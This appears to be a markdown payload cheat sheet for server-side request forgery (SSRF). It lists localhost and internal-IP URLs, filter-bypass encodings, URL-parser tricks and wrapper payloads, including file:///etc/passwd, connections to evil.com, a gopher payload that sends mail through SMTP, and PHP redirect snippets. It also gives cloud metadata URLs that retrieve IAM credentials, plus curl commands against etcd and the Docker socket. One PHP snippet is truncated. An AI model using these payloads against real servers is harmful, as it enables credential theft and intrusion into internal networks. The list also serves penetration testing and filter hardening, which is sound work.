# Server-Side Request Forgery Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him. ## Summary * [Exploit with localhost](#summary) * [Bypassing filters](#summary) * [SSRF via URL Scheme](#summary) * [SSRF to XSS](#summary) * [SSRF URL for Cloud Instances](#summary) * [SSRF URL for AWS Bucket](#summary) * [SSRF URL for Google Cloud](#summary) * [SSRF URL for Digital Ocean](#summary) * [SSRF URL for Packetcloud](#summary) * [SSRF URL for Azure](#summary) * [SSRF URL for OpenStack/RackSpace](#summary) * [SSRF URL for HP Helion](#summary) * [SSRF URL for Oracle Cloud](#summary) * [SSRF URL for Alibaba](#summary) ## Exploit with localhost Basic SSRF v1 ```powershell http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://0.0.0.0:80 http://0.0.0.0:443 http://0.0.0.0:22 ``` Basic SSRF - Alternative version ```powershell http://localhost:80 http://localhost:443 http://localhost:22 ``` Advanced exploit using a redirection ```powershell 1. Create a subdomain pointing to 192.168.0.1 with DNS A record e.g:ssrf.example.com 2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1 ``` Advanced exploit using type=url ```powershell Change "type=file" to "type=url" Paste URL in text field and hit enter Using this vulnerability users can upload images from any image URL = trigger an SSRF ``` ## Bypassing filters Bypass using HTTPS ```powershell https://127.0.0.1/ https://localhost/ ``` Bypass localhost with [::] ```powershell http://[::]:80/ http://[::]:25/ SMTP http://[::]:22/ SSH http://[::]:3128/ Squid ``` ```powershell http://0000::1:80/ http://0000::1:25/ SMTP http://0000::1:22/ SSH http://0000::1:3128/ Squid ``` Bypass localhost with a domain redirecting to locahost ```powershell http://localtest.me http://n-pn.info http://customer1.app.localhost.my.company.127.0.0.1.nip.io ``` The service nip.io is awesome for that, it will convert any ip address as a dns. ```powershell NIP.IO maps ..nip.io to the corresponding , even 127.0.0.1.nip.io maps to 127.0.0.1 ``` Bypass localhost with CIDR : 127.x.x.x ```powershell it's a /8 http://127.127.127.127 http://127.0.1.3 http://127.0.0.0 ``` Bypass using a decimal ip location ```powershell http://0177.0.0.1/ http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1 ``` Bypass using malformed urls ```powershell localhost:+11211aaa localhost:00011211aaaa ``` Bypass using rare address ```powershell http://0/ ``` Bypass using bash variables (curl only) ```powershell curl -v "http://evil$google.com" $google = "" ``` Bypass using tricks combination ```powershell http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ urllib2 : 1.1.1.1 requests + browsers : 2.2.2.2 urllib : 3.3.3.3 ``` Bypass using enclosed alphanumerics [@EdOverflow](https://twitter.com/EdOverflow) ```powershell http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿ ``` Bypass against a weak parser - by Orange Tsai ([Blackhat A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf)) ```powershell http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ ``` ![https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/SSRF_Parser.png](https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/SSRF%20injection/WeakParser.jpg) ## SSRF via URL Scheme File Wrapper ```powershell file:///etc/passwd file://\/\/etc/passwd ``` Dict Wrapper The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol: ```powershell dict://;@:/d::: ssrf.php?url=dict://attacker:11111/ ``` Sftp Wrapper ```powershell ssrf.php?url=sftp://evil.com:11111/ ``` Tftp Wrapper ```powershell ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET ``` Ldap Wrapper ```powershell ssrf.php?url=ldap://localhost:11211/%0astats%0aquit ``` Gopher Wrapper ```powershell ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a will make a request like HELO localhost MAIL FROM: RCPT TO: DATA From: [Hacker] To: Date: Tue, 15 Sep 2017 17:20:26 -0400 Subject: Ah Ah AH You didn't say the magic word ! . QUIT ``` Gopher SMTP - Back connect to 1337 ```php Content of evil.com/redirect.php: Now query it. https://example.com/?q=http://evil.com/redirect.php. ``` Gopher SMTP - send a mail ```php Content of evil.com/redirect.php: ', 'RCPT To: ', 'DATA', 'Subject: @sxcurity!', 'Corben was here, woot woot!', '.' ); $payload = implode('%0A', $commands); header('Location: gopher://0:25/_'.$payload); ?> ``` ## SSRF to XSS by [@D0rkerDevil & @alyssa.o.herrera](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) ```bash http://brutelogic.com.br/poc.svg -> simple alert https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssrf https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelogic.com.br/poc.svg ``` ## SSRF URL for Cloud Instances ### SSRF URL for AWS Bucket [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) Interesting path to look for at `http://169.254.169.254` ```powershell Always here : /latest/meta-data/{hostname,public-ipv4,...} User data (startup script for auto-scaling) : /latest/user-data Temporary AWS credentials : /latest/meta-data/iam/security-credentials/ ``` DNS record ```powershell http://169.254.169.254 http://metadata.nicob.net/ http://169.254.169.254.xip.io/ http://1ynrnhl.xip.io/ http://www.owasp.org.1ynrnhl.xip.io/ ``` HTTP redirect ```powershell Static:http://nicob.net/redir6a Dynamic:http://nicob.net/redir-http-169.254.169.254:80- ``` Alternate IP encoding ```powershell http://425.510.425.510/ Dotted decimal with overflow http://2852039166/ Dotless decimal http://7147006462/ Dotless decimal with overflow http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal http://0xA9FEA9FE/ Dotless hexadecimal http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow http://0251.0376.0251.0376/ Dotted octal http://0251.00376.000251.0000376/ Dotted octal with padding ``` More urls to include ```powershell http://169.254.169.254/latest/user-data http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME] http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME] http://169.254.169.254/latest/meta-data/ami-id http://169.254.169.254/latest/meta-data/reservation-id http://169.254.169.254/latest/meta-data/hostname http://169.254.169.254/latest/meta-data/public-keys/ http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy ``` ### SSRF URL for Google Cloud Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" ```powershell http://169.254.169.254/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/ http://metadata/computeMetadata/v1/ http://metadata.google.internal/computeMetadata/v1/instance/hostname http://metadata.google.internal/computeMetadata/v1/instance/id http://metadata.google.internal/computeMetadata/v1/project/project-id ``` Google allows recursive pulls ```powershell http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true ``` Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) ```powershell http://metadata.google.internal/computeMetadata/v1beta1/ ``` ### SSRF URL for Digital Ocean Documentation available at `https://developers.digitalocean.com/documentation/metadata/` ```powershell curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address All in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ### SSRF URL for Packetcloud Documentation available at `https://metadata.packet.net/userdata` ### SSRF URL for Azure Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/` ```powershell http://169.254.169.254/metadata/v1/maintenance ``` Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service` ```powershell http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` ### SSRF URL for OpenStack/RackSpace (header required? unknown) ```powershell http://169.254.169.254/openstack ``` ### SSRF URL for HP Helion (header required? unknown) ```powershell http://169.254.169.254/2009-04-04/meta-data/ ``` ### SSRF URL for Oracle Cloud ```powershell http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ ``` ### SSRF URL for Alibaba ```powershell http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id ``` ### SSRF URL for Kubernetes ETCD Can contain API keys and internal ip and ports ```powershell curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true ``` ### SSRF URL for Docker ```powershell http://127.0.0.1:2375/v1.24/containers/json Simple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` ## Thanks to * [Hackerone - How To: Server-Side Request Forgery (SSRF)](https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF) * [Awesome URL abuse for SSRF by @orange_8361 #BHUSA](https://twitter.com/albinowax/status/890725759861403648) * [How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai](http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html) * [#HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai](https://www.youtube.com/watch?v=D1S-G8rJrEk) * [SSRF Tips - xl7dev](http://blog.safebuff.com/2016/07/03/SSRF-Tips/) * [SSRF in https://imgur.com/vidgif/url](https://hackerone.com/reports/115748) * [Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat](https://www.dailysecurity.fr/server-side-request-forgery/) * [AppSecEU15 Server side browsing considered harmful - @Agarri](http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf) * [Enclosed alphanumerics - @EdOverflow](https://twitter.com/EdOverflow) * [Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity](http://www.sxcurity.pro/2017/12/17/hackertarget/) * [PHP SSRF @secjuice](https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51) * [How I convert SSRF to xss in a ssrf vulnerable Jira](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) * [Piercing the Veil: Server Side Request Forgery to NIPRNet access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)